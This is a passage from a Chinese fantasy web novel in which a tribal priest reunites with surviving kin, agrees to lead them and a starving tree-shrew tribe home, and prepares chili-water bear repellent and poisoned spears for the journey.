“没有了,阿父阿母和族长,还有我们的族人都没了……所有人都没了。我差点以为只剩下我一个人,还好,还好你还活着。”兽人猛地吸了吸鼻子,声音逐渐哽咽, 真的只剩下一个人了。 花时安怔了一瞬,心底涌起一股说不清道不明的滋味。 愣神的工夫,兽人慢慢缓过来了。 他放开花时安,抹了把眼泪,从头到脚将人打量了一遍,被悲伤占据的双眸盈出一丝欣慰,“你变化好大,和以前不一样了。那天晚上你是怎么逃出来的?这段时日一直和勇哥他们在一块吗,就你们四个人?你手臂上的伤又是怎么回事?” 一大堆问题砸过来,都不知道该先回答哪个。 夜还长,花时安不打算去凑热闹了,拉着花栗鼠部落仅存的兽人就地坐下,不紧不慢道:“那天晚上我差点被苍鹰抓走,后来是红松部落的山救了我,我们连夜逃进巨……” 闲着也是闲着,花时安言简意赅,把他们的遭遇与部落现状给豆说了一遍。 豆是个感性的人,刚把眼泪擦汗,一听部落还有五十多个人活着,他又垂着脑袋啜泣,低声喃喃:“真好,真好,要是我们的族人还活着就好了,哪怕、哪怕多几个也行啊……” 记忆里从未见过兽人这般模样,花时安拍了拍他的手臂,轻声安抚:“过去的事情让他过去吧,灾难不是你我能左右的,一直想也不能改变结局,只会让自己难过,不如打起精神向前看。” “虽然以前很少往来,但我们松鼠部落始终是一个集体,他们也是我们的族人。”花时安下巴微抬,看向树脚下扎堆的人群,“我们如今相处得很融洽,同吃同住,一同干活。” “在共同努力下,部落的日子慢慢好起来了。有遮风挡雨的树洞,有吃不完的食物,前些日子闲下来还在门前开垦了一片田地,自己种植。哦对,门前还有条河,河里有鱼有虾,你指定没见过,回去煮给你吃。” “食物。”豆听到了关键词,眼泪都顾不上擦,倏地抬头看向花时安,“巨树森林里的野菜野果和外面不一样,你们、你们是怎么找到食物的?也是一种一种地试?” “这个……”花时安摸了摸鼻头,有些刻意地轻咳一声:“说来话长,这个回头再说吧,先说说你们。你们这边一共多少人?就这些吗?话说当天晚上就逃进巨树森林,怎么会和我们错过呢,又是怎么跑到森林深处来的?” 豆抹了抹眼泪,轻叹一口气:“不止这些人,我们一共三十六人,有几个伤者和小孩,还有几个亚兽人在休息,没有跟过来。” “至于怎么跑到这里来的,说起来也是倒霉。” “白天睡了太累了,那天晚上我睡得很沉,泥水冲下来的时候我压根没跑掉,直接被卷走了。是大族长救了我,他和晴不顾危险把我汹涌的泥浆里拖出来,这才捡回一条命。” “苍鹰在天上飞,泥水在地上卷,我们的族人……在挣扎,在呼救。大族长不肯走,我们找了一块高地开始救人,到现在我都忘不了那一幕,无数双手只手朝我伸过来,泥水太滑了,好些人我都抓住了,但、但就是没能救上来。” 眼泪啪嗒啪嗒往下掉,兽人肩膀剧烈颤抖,眼中满是自责与懊恼。 从头开始讲,但这头也太头了,又把自个儿给说难受了。花时安心里也很不是滋味,奈何不会安慰人,只能拍拍他的肩膀,催促后话来转移话题。 平复呼吸,整理好情绪,豆切入正题。 在泥石流中捞人,在苍鹰爪下抢人,在大族长的带领下,十多个幸存者变成了四十多个幸存者。但泥水此时已经蔓延到绵绵草原,退路被堵死,他们只能一边躲避苍鹰袭击,一边往高处逃。 虽然最后还是逃进了巨树森林,但不同的时间,不同的方向,导致他们完全没有发现另一支队伍的踪迹,遗憾擦肩而过。 一波未平一波又起,摸爬滚打逃进巨树森林,众人身心俱疲,可还没来得及喘口气,他们误入了野兽领地,正面碰上了兽群。 皮毛黢黑,长有獠牙的野兽与黑熊有五分相似,攻击性极强,看到人便毫不犹豫地发动攻击,而刚逃过一劫的族人早就筋疲力尽,面对一群来势汹汹的野兽,他们只能跑,拼命跑。 不幸中的万幸,野兽凶猛却并未穷追不舍,应该只是为了捍卫领地。可人生地不熟,为躲避兽群袭击无头苍蝇似的乱窜,等停下来时,他们已彻底迷失了方向。 所有人都知道不能贸然深入森林,但放眼望去全是杂草树木,根本分不清哪边是森林边缘,哪边是森林深处。而屋漏偏逢连夜雨,力气耗尽想找点吃的,他们又发现——巨树森林里的植物一种也不认识。 “没办法,肚子饿了必须吃,我们只能挑那些看着能吃的野菜野果,一种一种地试。” 说着说着又红了眼眶,豆强忍泪水吸了吸鼻子,深吸一口气,“你知道吗安,我们原本四十多个人,那几个受伤不算严重的族人本来可以活下来的,就是为了帮我们找出能吃的食物,误食毒果子毒草死掉了。” 花时安拨动脚边杂草,不由感慨:“用生命为族人换取食物,他们很伟大,很了不起。” 豆叹了口气:“是啊,要不是他们主动站出来,我们不可能顺利走到这。” 埋葬同伴重新出发,一行人边走边找食物,边走边留标记,打算找一个地方安定下来,但神秘而古老的森林处处是危机,要么能吃的食物太少,要么总能听到奇怪的嚎叫。 他们不停地走,穿过密林进入黑熊林,树上密密麻麻,五颜六色的果子让他们停下了步伐。本打算在黑熊林安家,可屁股还没坐热,当天夜里就遭到黑熊袭击。 以两名兽人的生命为代价,他们成功逃了出来,而后在脚下这片土地碰到了与松鼠极为相似的树鼩部落。树鼩部落的族长飞好心收留他们,分给他们树木安家,两个部落共享一片土地。 飞,刚才找他们要过路费的女人? 花时安挑了下眉,问:“拦路威胁,找我们索要东西,她会好心收留你们?” “确实让我们住在这了,不过……” 树鼩早就散了,女人并未离开,坐在树脚下听大族长他们说话,豆抬头看了她一眼,压低嗓音道:“有要求的,她说了,我们可以在这住,可以在属于我们的区域寻找食物,但每隔十天,我们必须向他们交一部分食物。” 第89章 第 89 章 下马威 又是收过路费, 又是收房租的,这个名叫飞的女人很聪明,还挺有现代人的思维。 不过有一点花时安不是很理解。 土地富饶资源丰富,收房租可以说是为了提高生活质量, 但不缺吃不缺人, 那些树鼩为何一副吃不饱的样子, 饿得瘦骨嶙峋,维持人形都费劲? 在这住了好几个月,兽人兴许了解一点情况,花时安实在好奇,想着便问了。 显然这是一个沉重的话题,豆听到就叹了一口气, 低垂的眼眸中划过一丝微不可察的恐惧,“安,这片森林比我们想象的更恐怖,密林深处生活着很多可怕的野兽。” “长着獠牙的黑兽,膘肥体壮的黑熊……这些都不算什么,就在树鼩林旁边,住着一群比山还高, 走一步森林都要抖三抖的超大巨兽。” 花时安来了兴趣, 忙问:“你见过吗,长什么样子?” 豆点点头, “远远见过一次。灰棕色皮肤, 没有毛,耳朵大,鼻子特别长,有一部分长着比我们大腿还粗的獠牙。然后就是大, 体型特别特别大,我没办法跟你形容,总之跟一座山一样,飞姐管它叫象,大象。” 大象,传说中的巨兽居然是大象! 夜深了,本来都有点困了,一听这话花时安彻底清醒,挺直后背与兽人唠:“大象体型确实大,但它是食草动物,对人和其他动物还算友好,只要不进入它的领地,威胁应该没那么大吧?” “你、你怎么会知道大象?” 豆倏地抬起头,一脸不可置信地看着花时安。 一不小心说漏嘴了,花时安抿唇轻笑一声,“就,听说,听人家说的。” “听谁说的?” 清洌的女声从身后响起,花时安回过头,刚才还在树脚下的女人不知何时站在了身后,也不知道偷听了多久。 女人很聪明,没有单纯的豆好忽悠,多说多错,花时安勾起嘴角,巧妙地岔开话题:“族长,偷听别人说话可不太好。” “偷听?呵。” 女人笑了声,弯腰往花时安身旁一坐,索性不走了,不以为然地耸了耸肩,“是我没说清楚吗,你屁股底下坐的是我们的领地。作为这片土地的主人,我想在哪就在哪,说话不想让我听也行,离开我们的领地。” 还真是一点都不客气啊。 花时安两手一摊,“是我说错话了,你随便听。” 并不满足于听,飞端端看了花时安几秒,忽地一笑,“你好像对我们部落的事情很感兴趣,打听这些做什么?” “随便聊聊,这不是无聊嘛。”花时安笑笑道。 打哈哈糊弄不到这位族长,她双手环抱膝盖,也不管花时安想不想听,自顾自道:“食物越多的地方竞争越大,资源永远属于强者,我们树鼩这种弱小的动物只能在夹缝中生存。” “这片土地有水有食物,觊觎它的人同样很多,前有黑熊林,后有雕鸮河,如果没有象族的庇护,我们部落恐怕早就不存在了。” “象族?”花时安敏锐地捕捉到关键词,胳膊瞬间蹿起一片鸡皮疙瘩,惊恐地瞪大眼睛,“大象不是兽,居然是兽人?” 大象不可怕,兽人也不可怕,拥有人类的智慧、能自由切换形态的大象那就太可怕了! 飞摇摇头,“不完全是,或者可以说——曾经是。” 防备与试探尽数抛之脑后,花时安的胃口成功被吊起来了,迫不及待地追问:“怎么说,展开说说?” “你不是猜到了嘛,长时间用兽形生活,兽人是会退化的。开始只是一点点地不习惯,慢慢就会忘了怎么走路,怎么用人形干活、吃饭,时间再长一点,怎么变回人形都会忘,孕育出来的幼崽也无法变成人形,久而久之,也就成了真正的野兽。” 猜是猜到了,但他猜的只是太久没变成人形生疏了而已。人类退化成野兽这种事,花时安想都不敢想,太TM惊悚了,比鬼故事还恐怖! 好似猜到他心中所想,飞眼眸微垂,扯出一抹无奈的苦笑,“很可怕对吧,我们部落正在经历这个过程。前有黑熊后有雕鸮,我们只能寻求象族的庇护,他们体型庞大,有威慑力,每隔十天来领地转上一圈,那些虎视眈眈的猛兽就不敢随便进入我们的领地。” “领地安全我们就安全了,但象族不可能白帮忙,巡视领地的日子要给他们献上一份食物,不然下次就不会再来了。” “大象杂食,嘴巴倒是不挑,但他们的体型他们的胃口,一次要吃多少食物,你知道的吧?”飞挑眉朝花时安扬了扬下巴。 没有刻意掩饰,花时安闷闷地“嗯”了一声。 飞轻叹一口气,继续道:“挨饿和被野兽吃掉总得选一个,我们选了前者,每天一睁眼就是采集食物,可领地和人手有限,大部分食物分给大象,我们的族人就只能饿肚子。” “饿到受不了就变回兽形,兽形个头小,吃一点就饱,但兽形又干不了多少活,能获取的食物也就更少。现在的样子你也看到了,吃也吃不饱,维持人形也做不到,变成了一群不人不兽的半兽人。” “没想过离开这里,换一个地方生活吗?”花时安问。 飞嗤笑一声,反问花时安:“去哪?这片森林没有你想得那么安全,就算没有黑熊雕鸮,也会有其他飞禽猛兽,我们这种弱小的族群在哪都一样,能活着就不错了。” 像动物一样活着也算活着?花时安若有所思地捏着下巴。 森林深处资源丰富,却比想象中还要危险,不怕野兽凶猛,就怕野兽有智慧。黑熊、大象、雕鸮、森蚺……在具备与这类大型飞禽猛兽抗衡的力量之前,尽量少深入森林。 部落周围一带相对安全,毕竟资源没有雨林中丰富,但原始丛林瞬息万变,谁也不知道以后会发生什么。这一趟回去武器得制作起来,族人也要锻炼起来,提高应对突发状况的能力。 穰穰部落绝不能成为第二个树鼩部落。 “喂,小亚兽,你到底有没有认真听我说话?” 声音突然拔高好几个度,花时安恍然回过神,抬眸就看到一脸不满的女人。 跟他说这些肯定不是分享欲旺盛,花时安笑了笑,对上女人的视线,“听着呢飞姐,你说。” 飞从地上拔了根草叼在嘴里,吊儿郎当道:“我已经说完了,说说你们吧,接下来怎么打算的?离开还是留在这里?” “应该吧,应该要离开。”花时安故意说得模棱两可。 旁敲侧击行不通,索性直接打听,飞抬肘轻轻撞了花时安一下,又问:“你们到底从哪个方向来的?听说你们部落周围很安全对吗?松鼠和树鼩习性相近,如果我们也想走,介不介意多一些同伴?” 豆在旁边听得一头雾水,族长飞姐特意过来讲故事已经很奇怪了,跟他们一起走这种大事,不去找大族长商量,反而抛来问一个小亚兽? 花时安也是这样想的,诧异地看着飞,“族长你找错人了,我只是一个亚兽人,这种事情我可做不了决——” “祭司大人,祭司大人!” 突如其来的一嗓子拆了花时安精心搭建的台,岩秋雨在树脚下又蹦又跳,朝花时安所在方向招手。 豆第一时间没反应过来,茫然环视一圈,瞧着四周并无其他人,他忽然意识到什么,身体猛地一颤,眼睛瞪如铜铃,震惊而不可思议的视线最终停在了花时安身上。 “祭司大人?安,他这是在叫你?!” “只是一个小亚兽?”飞扑哧笑出声,伸手拍了拍花时安的肩膀,“我们冲出来的时候,三个兽人第一时间护着你,我就知道你肯定不简单,但真没想到,你居然是部落的祭司。” 亚兽人当祭司,原松鼠部落的兽人也很震惊,不过听闻他的奇遇,他对部落的贡献,兽人的不满渐渐变成了好奇。 清瘦挺拔的亚兽踩着夜色迎面走来,刚看清楚相貌,人群顿时躁动起来。 “哇,亚兽长得好好看!” “真的欸,他看起来好干净,感觉香香的。” “成年了吗,有伴侣了吗?” “秋,亚兽叫什么?” “皮肤好白,不知道摸起来……” 听闻始终是听闻,没有一起相处,没有亲眼所见,他们没有打心里认同这个祭司,依旧把花时安当作普通亚兽人来看待,甚至出言不逊。 看着不把花时安当回事的族人,一股无名火涌了上来。 莫淮山双手握拳,板着脸呵斥:“够了!他不是你们能随便打趣的,他是部落的祭司,我们能不愁吃喝,一个不少的活到现在,绝大部分都是他的功劳。” 红勇说话一定有用,可惜先开口的是莫淮山。 一个万人嫌帮别人说话,没一点用不说,还起了反效果。 看他不爽的大块头兽人嗤笑一声,恶意满满地嘲讽:“这么着急帮人说话,怎么,你看上他还是他看上你了?能看上你这种不祥之人的亚兽,怕不是——” “闭嘴!你嘴贱一个试试?” 红勇厉声打断兽人的话,正准备教训教训他,花时安不咸不淡的嗓音从头顶传来:“哟,聊着呢,聊什么这么热闹?” “刚刚是你在说话?”花时安挑眉看向大块头兽人,笑眯眯道:“听着好像在说我和淮山,离得远没听清,要不你再重复一遍?” 人畜无害的亚兽,清隽的面庞带着笑容,看起来毫无攻击性,但不知道怎么的,大块头背脊升起一阵寒意,没说完的话哽在了喉咙里,“没、没说什么,开个玩笑。” “双方觉得好笑才叫玩笑,我和淮山不觉得好笑,那就是冒犯。”花时安下巴微扬,盯着兽人的眼睛云淡风轻道:“你可以不服我,可以质疑我,但不要随意调侃。” “长途跋涉走到这里来,为了找我们失散的族人,如果做人连基本的礼貌都没有,充其量算野兽,绝对不是我们要找的,该带回部落的同伴。” 一上来就给个下马威,花时安可不想受这气。 余光扫过旁边一声不吭,纵容兽人调侃的大族长,花时安手一挥,转身就走,“时间不早了淮山,明个儿一早还要往回赶呢,走了,跟飞姐借个地方睡觉去。” 第90章 第 90 章 一起走吧 兽人出言不逊并非大族长授意, 没有及时阻止是想看看这位祭司如何应对,到底有没有红勇说得那般聪慧。谁料这位祭司气性还挺大,竟一点情面都不留,转身就走。 威胁兽人, 无视族长, 有脾气, 有胆识。 眼看人走了,大族长坐不住了,忙地起身叫住花时安。 “祭司大人,祭司大人先别走。” 舍己为人、威望颇高的大族长开口,花时安没办法一走了之,他脚步微顿, 并未回头看,只是不咸不淡地应了一声:“大族长还有什么事吗?” 没有回答花时安的话,大族长一个眼刀子甩向人群中的大块头,厉声呵道:“冬,愣着做什么,还不滚去和祭司大人认错!” “认错就不——” 拒绝的话还没说完,被点到名的大块头风风火火走到花时安面前, 低头哈腰一气呵成, 爽快道歉:“祭司大人我错了,是我管不住嘴, 乱说话, 你别跟我计较。” “还有呢?”花时安转头看了他一眼,云淡风轻地笑笑道:“你刚才冒犯的好像不止我一个人。” 这话一出,冬平静的面庞出现了一丝裂痕。 看得出很不情愿,但犹豫片刻, 他转头看向莫淮山,耷拉着脑袋道:“对不起山,我不该乱说话,你别往心里去。” 当着所有人的面和亚兽道歉也就算了,居然还要和一个被族人嫌弃的不祥之人道歉,可真是丢尽了脸,冬面上不显,实际上后槽牙都快咬碎了,说完扭头就走。 “欸,等下。” 步子还未迈开,花时安的声音又从身后传来。 都认错了,还不肯放过他? 怒气一瞬间直达天灵盖,冬双手握成拳,正要发火,亚兽人低低沉沉的嗓音再次响起:“冬,你是叫冬对吧?” “我知道,你不服我,也看不起山这个不祥之人,道歉道的很不情愿,但有一件事你要搞清楚,我们如今吃喝不愁,日子越过越好,根本没必须来森林深处走一趟,冒这个险。” “大家都是一个部落的族人,互相帮助,互相扶持本是应该的,但不要太过理所当然。有些话我不想说,可长途跋涉,不顾危险来接你们与亲人团聚,没有感激就算了,还冷言冷语,冷脸相待。” 花时安透过夜色对上大族长的视线,眼底笑意淡去,一字一顿道:“别让一心为同伴、为部落着想的人寒了心啊。” 声音不大,语气不算严厉,可这样一番话,说得在场兽人无地自容,羞愧地低下了头。 人家无亲无故无牵无挂,本可以在部落安安稳稳地过日子,却冒着危险来找他们,结果呢,好不容易找到人,一上来就是调侃试探。 大族长后悔了,肠子都悔青了,忙地走到花时安面前,颇为郑重其事地道歉:“祭司大人,我向你认个错,是我不对,我没有管好他们,没有及时阻止他们,我向你保证,以后绝不会再发生这种事。” 这个道歉听着倒有几分真心实意,花时安叹了口气,“算了大族长,都是自己人,不说这些话。” 一人退一步,这一茬就算过去了,但走还是走不了,大族长带着花时安重回树脚下,就何时离开一事儿展开了讨论。 丛林危机四伏,离开当然是越快越好,但来时四个人轻装上阵,说走就走,回去时四十个人浩浩荡荡,带多少食物,怎么走比较安全,难题一个接一个。 四十个人四十张嘴,食物只能多不能少,就算用他们来时的方法,一部分人赶路一部分人坐背篓,亚兽与伤患全程脚不沾地,最大程度地节省食物,最少也需要十背篓食物。 十背篓食物也就意味着要有十个人维持人形赶路,而原路返回必定经过黑熊林,人越多目标越大,容易引起野兽注意。 真碰上黑熊还不好跑,队伍中还有不少老弱病残,散开各自逃命,他们一定活不了。可正面硬刚……就算二十个兽人也没有胜算,那毕竟不是现代社会的小黑熊,那是巨树森林里的巨兽。 还有更安全的路线吗?十背篓食物又从哪里来呢?如果树鼩部落不允许他们领地内采摘,难不成跑去黑熊林采集食物? 花时安愁眉不展,余光无意往旁边一扫,对上了女人似笑非笑的眸子。 杵在旁边听完全程,飞已然打定了主意。 她也不扭捏,迎着花时安的目光大大方方地坐在他和大族长身旁,直截了当道:“我们有食物,再过三天就是象族巡视领地的日子,我们囤了一部分食物。刚刚听你们说七八天的路程,如果带上我们一块走,那些食物够我们一路上吃得饱饱的。” 一听这话,花时安本就拧着的眉头拧得更紧了。 乍一听好像很划算,带上他们不用为食物发愁,可树鼩部落一百多号老弱病残,带回去安置在哪暂且不说,带这么一群树鼩赶路……完全是累赘。 旅途中偶遇的陌生人,花时安可以毫无负担的拒绝,但大族长与剩下三十五个松鼠兽人住在人家领地,虽说交了房租,但也实实在在地承了恩情。 树鼩部落的处境有目共睹,一起相处了这么久,拒绝的话实在说不出口。大族长扫了一眼不吭声不表态的花时安,硬着头皮看向飞,“你想和我们一块走?刚才怎么没听你说。” 飞下巴微扬,“和你们祭司大人说过了。” 这天可真天啊,祭司大人充耳不闻,抬头望天。 孤立无援的大族长,“咳咳,部落如今什么情况我也不清楚,带你们走倒是容易,可是……刚才你也听说了,这一路危险得很,我们部落人多,你们部落人也多,其中还有不少无法自理的人。” “举族迁徙可是大事,不是说走就能走的,一定要弄清楚情况再行动。部落周围不一定有合适的领地划分给你们,果子野菜也没有这片森林多,冒着生命危险走向一个不确定,这不值当。” “要不这样你看成吗?我们先回去看看,给你们找一片合适的领地,到时候我再带着兽人回来接——” “威,”飞唤了大族长的名字,眼底笑意渐渐收敛,“我们认识也有一段时日了,你应该知道我是什么样的人。” 不明白她为何说这个,大族长点点头,“知道。” 性格强势直爽,负气仗义,言而有信的兽人。 飞:“我知道你在担心什么,担心我的族人拖累你们,担心我们去了之后和你们部落争抢领地。” 脱离苦海的机会只有一次,说着,飞猛地在胸口上拍了几下,义正辞严道:“我愿在兽神的注视下向你保证,路上绝不拖累、绝不麻烦你们,我们也有一些身强力壮的兽人,可以照顾好族人,也一定能跟上你们。” “如若顺利抵达领地,给我们一小块地方休整就行。我们只会短暂地停留,休息好了会自己找食物,自己找领地,绝不打你们领地的主意,也绝不向你们讨要食物。” 赌咒发誓一般的承诺,将姿态放到最低,生怕他们不信。 这番话把大族长整得无地自容,狼狈地垂下头。 恩情该偿还,可他这族长失职,如今的部落是木族长和族人一手建立起来的,一点力都没出,未参与部落的发展,他怎么能拿族人的成果来报答恩人。 再说下去恐怕会忍不住答应,犹豫再三,大族长眼神复杂地看向花时安,转交决定权:“祭司大人,你怎么看?” 不是让花时安来当坏人,是他根本没有做出决定的权利。 花时安怎么看,花时安坐着看。 族长飞这番话并没有多感人,不足以打动花时安,但很奇怪,她信誓旦旦保证的样子莫名让花时安觉得,她是一个值得信任的人。 一个部落的强大取决于多个方面,食物与水源、工具与技术、规则与秩序……但一切的前提是,必须拥有充足的人员。 五十多个人加三十多个人,穰穰部落依旧是一个人数不过百的迷你小部落。不遇到什么事儿还好,安安稳稳地生活,一旦遇到突发状况,如天灾、兽群袭击,缺少应对危机的能力。 树鼩部落一百多号人,倘若族长值得信任,那些难以维持人形的族人还能调理过来,倒是可以带回去当邻居。两个部落共同发展,相互扶持,安稳时不会影响什么,遇到危机时还能一起应对,百利而无一害。 沉默了太久,等待结果的女人眉头紧拧,坐立难安,就快要忍不住追问时,花时安终于开口了,但给出的不是答案,而是疑问。 “我有几个问题,希望你能如实回答。你们部落总共多少人?目前能打能跑能狩猎的人有多少?完全退化成野兽的人又有多少?剩下的人多久能恢复,能自由切换形态?” 花时安的问题一针见血,全都是部落隐秘,有些连一起生活了快半年、有意打探的大族长都不知道。 没有直接拒绝就是还有机会,飞深吸一口气,如实说明部落情况:“部落总共一百二十三人,身体比较好,能狩猎的,连同我在内,十二人;完全退化成野兽,没办法恢复的,三十一人;剩下的人还能恢复,如果每天都能填饱肚子,一直维持人形,很快,十多天就能恢复。” 一百二十三人中,居然有三十一人永远地变成了野兽! 比预想中更惨烈,花时安错愕地瞪大了眼睛。 花时安的惊讶在飞眼里又变成了另一重意思,她忙地又补充道:“那三十一个人虽然没有劳动力,但他们体型小,吃得少,我们能养活的,不用担心。” 花时安没接话,扭头问大族长:“她的话能信吗?” 事关部落,不得不谨慎一些。 显然够了解飞,大族长果断点下头,为她作保:“能信,她是一个有责任心,说话算话的族长。” “那行。”花时安也跟着点点头,“一起走吧。” 90-100 第91章 第 91 章 小麦 头脑一热就答应了, 花时安晚上睡觉都在复盘,感觉这个决定有点草率,但第二天,亲眼见到树鼩部落备给象族的食物山, 以及树洞深处掏出来的存粮, 他忽然觉得—— 带上树鼩部落是个明智的决定。 树鼩林与黑熊林挨得很近, 气候与植物分布却大有不同,黑熊林随处可见的热带水果在这里较为稀少,更多的是一些亚热带水果和适应力强的野菜。 刺玫果、红醋栗、野猕猴桃、野葡萄、柑橘、柚子……五颜六色、五花八门的野果堆起一个高高的鼓包,花时安看馋了,恨不得坐在旁边吃个痛快。 野果只是冰山一角,绿色嫩芽与野菜才是主力军, 荠菜、马齿苋、积雪草……一眼扫过去都是随处可见,平平无奇的野菜,可凑近仔细一瞧,这座绿色食物山暗藏乾坤。 鲜嫩翠绿的花生苗、长着胡须的玉米苞、缀着一串串小白花的大豆藤、紫茎绿叶的苦荞麦,以及抽出复穗状花序的——小麦! 花时安惊了,恍然有种误入村民家里的错觉,一扒一个惊喜, 全是他寻觅已久的农作物。伤口忽然就不疼了, 整个人都精神了,走这一趟值得, 太值了! 惊喜还没结束, 准备搬家了,小树鼩们一早就在窸窸窣窣地掏树洞,突然被一个轻飘飘的东西糊住脸,花时安抬手拿下来一看, 好家伙,一团棉花。 铺树洞的棉花团,晒干的玉米粒、小麦、糯谷、绿豆、榛子、开心果……他们的存粮不算多,种类却非常丰富,看得花时安眼花缭乱,激动不已。 外泄的情绪引起了飞的注意,她不紧不慢走到花时安身旁,循着他的视线看向存粮,挑了下眉道:“祭司大人对这些干果、谷物感兴趣?喜欢就拿,挑一些带上。” “挑?”花时安捕捉到关键词,不解地看向飞,“不能全部带上吗,为什么要挑?” 飞:“东西太多了,挑好吃的,挑重要的带。” 花时安惊了,指着地上的谷物问道:“这还不好吃,这还不重要?” 这一问把飞问懵了,她再三确认地上堆的是谷物干果,眼中闪过一丝茫然,“干果勉强还行,果仁吃着有股清香味,干豆子、干麦子这些味道很淡,又硬,唯一的好处就是管饱,确实算不上好吃。” “生嚼啊?你们没试过煮一下再吃?” 飞轻叹一口气:“以前会煮,现在能干活的人越来越少,早出晚归,哪有空闲来生火煮东西。对于我们来说,摘下来就能吃,还带点甜味的果子就已经是最好的、最方便的食物了,可惜大象胃口大,果子野菜要优先给他们,我们就只能吃点干果、谷物充饥。” 危机四伏、群兽环视的原始丛林,弱小的族群夹缝中求生,资源丰富又如何,认识植物又如何,朝不保夕,饿肚子都是常事,哪有时间去研究食物怎么烹饪好吃。 这话问得有点何不食肉糜,花时安讪讪一笑,对飞说道:“这些豆子和谷物是好东西,生嚼可能不如干果好吃,但搭配其他食物一块烹饪,美味又顶饱。” “完全成熟的果实不单单是食物,同时也是种子。我们部落周围没有你们这边资源丰富,靠采集狩猎虽然能填饱肚子,但会过得很辛苦,所以我们学会了开垦种植,现在正需要这些种子。” “开垦种植?” 听到新奇的词汇,飞既茫然又好奇,正想和花时安了解一下,莫淮山捧着什么东西风风火火地跑了过来。 “时安,时安你看这什么!” 高大的兽人往花时安身旁一杵,气儿都没喘匀,着急忙慌地摊开双手,献上他刚刚发现的宝贝。 红里透黑,晒蔫儿巴的细长条正是干辣椒。 土地富饶,植物丰富多样,连小麦、花生都有,有辣椒不奇怪。花时安并不意外,笑着看向莫淮山,打趣他:“你又不吃辣,看见辣椒这么兴奋干嘛,突然想尝尝了?” “没、没有。”莫淮山咧嘴嘿嘿一笑,“就是没想到,没想到他们树鼩也会采集辣椒。不知道是不是没有食物被迫吃辣椒,时安你喜欢吃,我们可以用果子换一些辣椒。” 原来打的是这个主意,花时安心头一暖,眼底笑意更浓,“不是被迫吃,树鼩和我们松鼠不一样,他们本身就喜欢辣味,不搭配任何食物,干嚼都能嚼一根辣椒。” 不仅如此,树鼩还爱吃那种熟透发酵的果子,喜欢酒味,嗜辣又酗酒,又被称为动物界的酒蒙子。 “你……你怎么会知道这些?”飞诧异地挑了下眉。 虽然算不上什么大秘密,但没有长时间相处,这个人怎么会这般了解他们的习性? 一不小心话又多了,花时安摆摆手,“听说,听说的。” 飞可没那么好糊弄,追着花时安问:“听谁说的?你以前是不是见过树鼩,是不是和——” “祭司大人!” 一声高呼打断飞的话,岩秋雨也寻到宝了,噔噔噔地跑过来。 这会儿看岩秋雨特别顺眼,花时安忙地迎了上去。不过看到他握在手里的东西,花时安嘴角抽了一下,笑意尽数凝固在眼底。 黄绿相间的植物外形独特,呈圆柱形,上细下粗,表面光滑圆润,里面是空的,顶端还有一个“盖子”,好似一个绿色小瓶子。 这是猪笼草,热带地区常见植物,不足为奇,但问题是,这是生长在树鼩部落周围的猪笼草,树鼩会拿它当——马桶! “祭司大人你看,这个植物长得好奇怪啊,能吃吗?”岩秋雨叨叨个不停,还把猪笼草往花时安面前凑,“我们部落周围好像没有这个耶,要不要带一点回去种?” 花时安侧身挡着岩秋雨,压低嗓音:“拿远一点,丢了,快!” 岩秋雨不解,“为什么,你还没回答我呢?” 来不及了,好奇心旺盛的飞已经走到了身后。 看着岩秋雨攥在手里的猪笼草,这位族长僵了一瞬,眼神复杂地看着岩秋雨,尴尬地皱起了眉头,“秋,部落周围的猪笼草不要随便摘,这是族人、族人……” “原来这叫猪笼草,你们干嘛用的?”岩秋雨不听劝,甚至把猪笼草举到半空中,透过阳光来看,“感觉还挺漂亮。” “咳。”飞握拳抵唇轻咳一声,委婉地提醒:“这个不干净,你别拿在手里玩,赶紧拿去丢了。” 岩秋雨:“怎么都让我丢了,这到底是干嘛的?” 一上来抓着人家“马桶”玩,真是脸都丢尽了。 花时安尴尬死了,咬牙切齿地瞪着岩秋雨,一字一顿道:“昨晚应该听说了吧,他们有三十多个族人没办法变成人形,你手里这个,就是他们平常排泄用的。” 空气仿佛凝固了,岩秋雨的耳朵肉眼可见地红了。他茫然无措地攥着猪笼草,脸色一阵青一阵紫,而几秒过后,一声哀嚎响彻部落。 “啊啊啊啊啊——祭司大人你怎么不早说!” 岩秋雨拿着猪笼草飞快地跑开了,花时安长舒一口气,但还没缓解完尴尬,飞走到花时安对面,神情严肃而凝重,“你居然知道猪笼草是做什么用的,你以前绝对见过树鼩,甚至和他们相处过。” 这个话题不是过去了吗!花时安哭笑不得,无奈抬手拍了下额头,“族长,以后就是邻居了,想聊天随时可以聊。今天好多事要做,大家都忙着呢,我们总不能一直在这站着吧?” 天刚蒙蒙亮,两个部落的族人一同忙碌起来,兽人砍树、打磨石头,制作防身御敌的武器;亚兽人摘藤蔓、编藤篓,编织携带食物的容器。 所有人都在忙碌,只有他们几个无所事事,莫淮山环视一圈,神色微变,忙地将辣椒递给花时安,脚步匆匆地离开了。 而看着忙忙碌碌的族人,飞扬起嘴角朝花时安点了点头,“你说得对,我先去帮忙了。你可以在四周转转,部落的祭司大人,这些杂活不用你亲自干。” 都在忙,他怎么可能闲着,花时安眼眸微垂,余光扫过莫淮山塞给他的干辣椒,脑子里突然冒出一个不成熟的想法。 管它成不成熟,有总比没有好,花时安倏地抬起头,叫住准备离开的飞,“族长,你们辣椒多吗,只有这种晒干的吗,有没有新鲜的?” “有,还有没晒干的,你现在就要?”飞回过头,意味深长地看了他一眼,那眼神像是在说:你还真惦记我们的辣椒? 花时安又问:“四周有没有毒草、毒果子之类的?” “有倒是有,你问这些做什么?” 没有多解释,花时安道:“族长,把你们的辣椒全部搬过来,再帮我安排一下,找几个熟悉环境的人去采摘毒草、毒果,再找两个人在附近捡干柴,哦对,顺便帮我给红勇说一声,让他们砍点树,做些像竹筒一样的,能装液体的容器出来。” “你到底想做什么?部落周围的毒草、毒果很厉害,毒性强,误食不得了。”飞走不动道了,一瞬不瞬地看着花时安。 花时安微微一笑,“厉害就对了,就是要找毒性强的。石矛不够锋利,对抗黑熊我估计够呛,但给石矛浸上毒性强、见效快的毒汁液,我们的胜算会更大。” “当然了,与黑熊正面对抗,无论输赢,我们都难以全身而退,能避免尽量避免。具有刺激性味道、能产生灼热感的辣椒就能帮我们避免黑熊袭击,我打算熬点辣椒水,泼它丫的。” 防熊喷雾的主要成分就是辣椒素,辣椒水同样有效,不过喷壶暂时制作不出来,花时安的简易版防熊喷雾名叫——防熊椒水。 第92章 第 92 章 归家 夜深了, 沉寂的森林被浓稠的黑暗紧紧包裹,天空黑得很纯粹,没有皎洁的月亮,没有闪耀的繁星, 站在草地朝远处望去, 只能看见田间作物随风摇曳的影子。 二十天, 整整二十天。 